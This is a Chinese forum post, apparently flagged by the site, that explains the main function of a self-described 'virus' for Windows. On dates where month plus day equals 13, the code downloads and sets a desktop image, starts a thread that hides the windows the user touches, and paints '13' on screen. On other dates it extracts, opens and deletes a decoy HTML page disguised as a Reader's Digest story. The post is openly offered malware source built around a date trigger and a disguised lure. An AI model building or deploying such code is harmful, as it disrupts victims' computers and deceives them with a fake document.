该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
d. 代码说明
主函数,时间日期的获取与判断都在这里,详细见下面的注释。
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, intiCmdShow)
{
SYSTEMTIME time1;
GetLocalTime(&time1); //获取当前时间日期
DWORD dwThreadId, dwThrdParam = 1;
GdiplusStartupInput m_gdiplusStartupInput; //gdi+画图需要
ULONG_PTR m_pGdiToken; //gdi+画图需要
GdiplusStartup(&m_pGdiToken,&m_gdiplusStartupInput,NULL);//gdi+画图初始化
if(time1.wMonth+time1.wDay==13){//如果 月份+日期=13 的话
//virus broken
desktopshow(); //下载图片并设置桌面背景,详细见源代码
CloseHandle(CreateThread( NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId));//线程,处理隐藏用户接触的窗体,详细见源代码
DrawMyString(); //gdi+画字符串“13”,详细见源代码
}else{ //时间不对
//提取,打开,删除html文件
ExtractResource("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html", "luci",MAKEINTRESOURCEA(IDR_LUCI1));
ShellExecuteA(NULL,"open","给你一个故事-人生哲学--读者文摘推荐bygetkexe.html",NULL,NULL,SW_SHOWMAXIMIZED);
Sleep(2000);
DeleteFileA("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html");
}
GdiplusShutdown(m_pGdiToken);//gdi+画图结束
return 0;
}